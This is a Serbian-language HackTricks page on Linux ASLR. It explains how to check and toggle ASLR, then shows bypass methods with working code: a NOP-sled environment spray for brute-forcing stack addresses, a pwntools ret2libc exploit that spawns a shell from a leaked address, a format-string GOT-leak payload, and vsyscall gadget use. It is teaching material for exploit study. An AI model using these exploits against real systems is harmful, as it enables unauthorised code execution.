hacktricks/binary-exploitation/common-binary-protections-and-bypasses/aslr

ASLR

{% hint style="success" %} Naučite i vežbajte hakovanje AWS-a:HackTricks Obuka AWS Crveni Tim Stručnjak (ARTE)
Naučite i vežbajte hakovanje GCP-a: HackTricks Obuka GCP Crveni Tim Stručnjak (GRTE)

Podržite HackTricks

• Proverite planove pretplate!
• Pridružite se 💬 Discord grupi ili telegram grupi ili nas pratite na Twitteru 🐦 @hacktricks_live.
• Podelite hakovanje trikova slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.

{% endhint %}

Osnovne informacije

Randomizacija rasporeda adresnog prostora (ASLR) je sigurnosna tehnika koja se koristi u operativnim sistemima da randomizuje memorijske adrese koje koriste sistemski i aplikativni procesi. Na taj način, značajno otežava napadaču da predvidi lokaciju određenih procesa i podataka, kao što su stek, hip i biblioteke, čime se umanjuje određene vrste eksploatacija, posebno prelivanje bafera.

Provera statusa ASLR-a

Da biste proverili status ASLR-a na Linux sistemu, možete pročitati vrednost iz datoteke /proc/sys/kernel/randomize_va_space. Vrednost koja se čuva u ovoj datoteci određuje vrstu primenjenog ASLR-a:

• 0: Bez randomizacije. Sve je statično.
• 1: Konzervativna randomizacija. Deljenje biblioteka, stek, mmap(), VDSO stranica su randomizovani.
• 2: Potpuna randomizacija. Pored elemenata randomizovanih konzervativnom randomizacijom, memorija upravljana putem brk() je randomizovana.

Možete proveriti status ASLR-a pomoću sledeće komande:

cat /proc/sys/kernel/randomize_va_space

Onemogućavanje ASLR-a

Da biste onemogućili ASLR, postavite vrednost /proc/sys/kernel/randomize_va_space na 0. Onemogućavanje ASLR-a obično se ne preporučuje osim u testnim ili debagirajućim scenarijima. Evo kako to možete onemogućiti:

echo 0 | sudo tee /proc/sys/kernel/randomize_va_space

Takođe možete onemogućiti ASLR za izvršavanje sa:

setarch `arch` -R ./bin args
setarch `uname -m` -R ./bin args

Omogućavanje ASLR-a

Za omogućavanje ASLR-a, možete upisati vrednost 2 u datoteku /proc/sys/kernel/randomize_va_space. Obično je potrebno imati privilegije root korisnika. Potpuna randomizacija se može postići sledećom komandom:

echo 2 | sudo tee /proc/sys/kernel/randomize_va_space

Upornost preko ponovnog pokretanja

Promene napravljene pomoću echo komandi su privremene i biće resetovane prilikom ponovnog pokretanja. Da biste napravili promenu postojanom, morate urediti datoteku /etc/sysctl.conf i dodati ili izmeniti sledeću liniju:

kernel.randomize_va_space=2 # Enable ASLR
# or
kernel.randomize_va_space=0 # Disable ASLR

Nakon uređivanja /etc/sysctl.conf, primenite promene sa:

sudo sysctl -p

Ovo će osigurati da vaše ASLR postavke ostanu iste nakon ponovnog pokretanja.

Bypasses

Brute-forcing za 32 bita

PaX deli prostor adresa procesa u 3 grupe:

• Kod i podaci (inicijalizovani i neinicijalizovani): .text, .data, i .bss —> 16 bitova entropije u promenljivoj delta_exec. Ova promenljiva se nasumično inicijalizuje sa svakim procesom i dodaje se početnim adresama.
• Memorija alocirana pomoću mmap() i deljeni biblioteke —> 16 bitova, nazvano delta_mmap.
• Stek —> 24 bita, nazvan delta_stack. Međutim, efektivno koristi 11 bitova (od 10. do 20. bajta uključujući), poravnato na 16 bajtova —> Ovo rezultira u 524,288 mogućih stvarnih adresa steka.

Prethodni podaci su za 32-bitne sisteme i smanjena konačna entropija omogućava zaobilaženje ASLR-a pokušavanjem izvršenja iznova i iznova dok eksploatacija ne uspe.

Ideje za brute-force:

• Ako imate dovoljno veliko preplavljivanje da biste mogli da smestite veliki NOP sled pre shell koda, možete jednostavno brute-force adrese na steku dok tok preskoči neki deo NOP sleda.
• Druga opcija za ovo u slučaju da preplavljivanje nije toliko veliko i eksploatacija može da se pokrene lokalno je moguće dodati NOP sled i shell kod u promenljivu okruženja.
• Ako je eksploatacija lokalna, možete pokušati da brute-forceujete baznu adresu libc-a (korisno za 32-bitne sisteme):

for off in range(0xb7000000, 0xb8000000, 0x1000):

• Ako napadate udaljeni server, možete pokušati bruteforce-ovati adresu libc funkcije usleep, prosleđujući kao argument 10 (na primer). Ako server u nekom trenutku dodatno odgovori za 10s, pronašli ste adresu ove funkcije.

{% hint style="success" %} Na 64-bitnim sistemima entropija je mnogo veća i ovo ne bi trebalo da bude moguće. {% endhint %}

Brute-forceovanje steka na 64 bita

Moguće je zauzeti veliki deo steka sa env promenljivama i zatim pokušati zloupotrebiti binarni fajl stotine/hiljade puta lokalno kako biste ga iskoristili.
Sledeći kod pokazuje kako je moguće samo izabrati adresu na steku i svakih nekoliko stotina izvršavanja ta adresa će sadržati NOP instrukciju:

//clang -o aslr-testing aslr-testing.c -fno-stack-protector -Wno-format-security -no-pie
#include <stdio.h>

int main() {
unsigned long long address = 0xffffff1e7e38;
unsigned int* ptr = (unsigned int*)address;
unsigned int value = *ptr;
printf("The 4 bytes from address 0xffffff1e7e38: 0x%x\n", value);
return 0;
}

import subprocess
import traceback

# Start the process
nop = b"\xD5\x1F\x20\x03" # ARM64 NOP transposed
n_nops = int(128000/4)
shellcode_env_var = nop * n_nops

# Define the environment variables you want to set
env_vars = {
'a': shellcode_env_var,
'b': shellcode_env_var,
'c': shellcode_env_var,
'd': shellcode_env_var,
'e': shellcode_env_var,
'f': shellcode_env_var,
'g': shellcode_env_var,
'h': shellcode_env_var,
'i': shellcode_env_var,
'j': shellcode_env_var,
'k': shellcode_env_var,
'l': shellcode_env_var,
'm': shellcode_env_var,
'n': shellcode_env_var,
'o': shellcode_env_var,
'p': shellcode_env_var,
}

cont = 0
while True:
cont += 1

if cont % 10000 == 0:
break

print(cont, end="\r")
# Define the path to your binary
binary_path = './aslr-testing'

try:
process = subprocess.Popen(binary_path, env=env_vars, stdout=subprocess.PIPE, text=True)
output = process.communicate()[0]
if "0xd5" in str(output):
print(str(cont) + " -> " + output)
except Exception as e:
print(e)
print(traceback.format_exc())
pass

Lokalne informacije (/proc/[pid]/stat)

Datoteka /proc/[pid]/stat procesa uvek je čitljiva za sve i sadrži zanimljive informacije kao što su:

• startcode & endcode: Adrese iznad i ispod sa TEXT delom binarnog fajla
• startstack: Adresa početka steka
• start_data & end_data: Adrese iznad i ispod gde je BSS
• kstkesp & kstkeip: Trenutne adrese ESP i EIP
• arg_start & arg_end: Adrese iznad i ispod gde su CLI argumenti
• env_start & env_end: Adrese iznad i ispod gde su okružne promenljive

Stoga, ako je napadač na istom računaru kao binarni fajl koji se eksploatiše i taj binarni fajl ne očekuje prekoračenje iz sirovih argumenata, već iz drugog ulaza koji može biti oblikovan nakon čitanja ove datoteke. Moguće je za napadača da dobije neke adrese iz ove datoteke i konstruiše ofsete iz njih za eksploataciju.

{% hint style="success" %} Za više informacija o ovoj datoteci pogledajte https://man7.org/linux/man-pages/man5/proc.5.html pretražujući /proc/pid/stat {% endhint %}

Imajući curenje

• Izazov je dati curenje

Ako vam je dato curenje (jednostavni CTF izazovi), možete izračunati ofsete iz njega (pretpostavljajući na primer da znate tačnu verziju libc-a koja se koristi u sistemu koji eksploatišete). Ovaj primer eksploatacije je izvučen iz primera sa ovog mesta (proverite tu stranicu za više detalja):

from pwn import *

elf = context.binary = ELF('./vuln-32')
libc = elf.libc
p = process()

p.recvuntil('at: ')
system_leak = int(p.recvline(), 16)

libc.address = system_leak - libc.sym['system']
log.success(f'LIBC base: {hex(libc.address)}')

payload = flat(
'A' * 32,
libc.sym['system'],
0x0,        # return address
next(libc.search(b'/bin/sh'))
)

p.sendline(payload)

p.interactive()

• ret2plt

Zloupotrebom prelivanja bafera bilo bi moguće iskoristiti ret2plt za eksfiltraciju adrese funkcije iz libc-a. Proverite:

{% content-ref url="ret2plt.md" %} ret2plt.md {% endcontent-ref %}

• Proizvoljno čitanje formatiranih stringova

Baš kao i u ret2plt, ako imate proizvoljno čitanje putem ranjivosti formatiranih stringova, moguće je eksfiltrirati adresu libc funkcije iz GOT-a. Sledeći primer je odavde:

payload = p32(elf.got['puts'])  # p64() if 64-bit
payload += b'|'
payload += b'%3$s'              # The third parameter points at the start of the buffer

# this part is only relevant if you need to call the main function again

payload = payload.ljust(40, b'A')   # 40 is the offset until you're overwriting the instruction pointer
payload += p32(elf.symbols['main'])

Možete pronaći više informacija o proizvoljnom čitanju formatnih stringova u:

{% content-ref url="../../format-strings/" %} format-strings {% endcontent-ref %}

Ret2ret & Ret2pop

Pokušajte zaobići ASLR zloupotrebom adresa unutar steka:

{% content-ref url="ret2ret.md" %} ret2ret.md {% endcontent-ref %}

vsyscall

Mehanizam vsyscall služi za poboljšanje performansi omogućavajući određenim sistemskim pozivima da se izvrše u korisničkom prostoru, iako su oni suštinski deo jezgra. Ključna prednost vsyscall leži u njihovim fiksnim adresama, koje nisu podložne ASLR (Randomizacija rasporeda prostora adresa). Ova fiksna priroda znači da napadači ne zahtevaju ranjivost curenja informacija da bi odredili njihove adrese i koristili ih u eksploataciji.
Međutim, ovde neće biti pronađeni super interesantni gedžeti (iako je na primer moguće dobiti ekvivalent ret;)

(Sledeći primer i kod su iz ovog izveštaja)

Na primer, napadač može koristiti adresu 0xffffffffff600800 unutar eksploata. Dok pokušaj skoka direktno na ret instrukciju može dovesti do nestabilnosti ili rušenja nakon izvršavanja nekoliko gedžeta, skakanje na početak syscall koji pruža odeljak vsyscall može biti uspešno. Pažljivim postavljanjem ROP gedžeta koji vodi izvršenje ka ovoj adresi vsyscall, napadač može postići izvršenje koda bez potrebe za zaobilaženjem ASLR za ovaj deo eksploata.

ef➤  vmmap
Start              End                Offset             Perm Path
0x0000555555554000 0x0000555555556000 0x0000000000000000 r-x /Hackery/pod/modules/partial_overwrite/hacklu15_stackstuff/stackstuff
0x0000555555755000 0x0000555555756000 0x0000000000001000 rw- /Hackery/pod/modules/partial_overwrite/hacklu15_stackstuff/stackstuff
0x0000555555756000 0x0000555555777000 0x0000000000000000 rw- [heap]
0x00007ffff7dcc000 0x00007ffff7df1000 0x0000000000000000 r-- /usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007ffff7df1000 0x00007ffff7f64000 0x0000000000025000 r-x /usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007ffff7f64000 0x00007ffff7fad000 0x0000000000198000 r-- /usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007ffff7fad000 0x00007ffff7fb0000 0x00000000001e0000 r-- /usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007ffff7fb0000 0x00007ffff7fb3000 0x00000000001e3000 rw- /usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007ffff7fb3000 0x00007ffff7fb9000 0x0000000000000000 rw-
0x00007ffff7fce000 0x00007ffff7fd1000 0x0000000000000000 r-- [vvar]
0x00007ffff7fd1000 0x00007ffff7fd2000 0x0000000000000000 r-x [vdso]
0x00007ffff7fd2000 0x00007ffff7fd3000 0x0000000000000000 r-- /usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007ffff7fd3000 0x00007ffff7ff4000 0x0000000000001000 r-x /usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007ffff7ff4000 0x00007ffff7ffc000 0x0000000000022000 r-- /usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007ffff7ffc000 0x00007ffff7ffd000 0x0000000000029000 r-- /usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007ffff7ffd000 0x00007ffff7ffe000 0x000000000002a000 rw- /usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007ffff7ffe000 0x00007ffff7fff000 0x0000000000000000 rw-
0x00007ffffffde000 0x00007ffffffff000 0x0000000000000000 rw- [stack]
0xffffffffff600000 0xffffffffff601000 0x0000000000000000 r-x [vsyscall]
gef➤  x.g <pre> 0xffffffffff601000 0x0000000000000000 r-x [vsyscall]
A syntax error in expression, near `.g <pre> 0xffffffffff601000 0x0000000000000000 r-x [vsyscall]'.
gef➤  x/8g 0xffffffffff600000
0xffffffffff600000:    0xf00000060c0c748    0xccccccccccccc305
0xffffffffff600010:    0xcccccccccccccccc    0xcccccccccccccccc
0xffffffffff600020:    0xcccccccccccccccc    0xcccccccccccccccc
0xffffffffff600030:    0xcccccccccccccccc    0xcccccccccccccccc
gef➤  x/4i 0xffffffffff600800
0xffffffffff600800:    mov    rax,0x135
0xffffffffff600807:    syscall
0xffffffffff600809:    ret
0xffffffffff60080a:    int3
gef➤  x/4i 0xffffffffff600800
0xffffffffff600800:    mov    rax,0x135
0xffffffffff600807:    syscall
0xffffffffff600809:    ret
0xffffffffff60080a:    int3

vDSO

Zapamtite stoga kako bi bilo moguće zaobići ASLR zloupotrebom vdso-a ako je kernel kompajliran sa CONFIG_COMPAT_VDSO jer adresa vdso-a neće biti randomizovana. Za više informacija pogledajte:

{% content-ref url="../../rop-return-oriented-programing/ret2vdso.md" %} ret2vdso.md {% endcontent-ref %}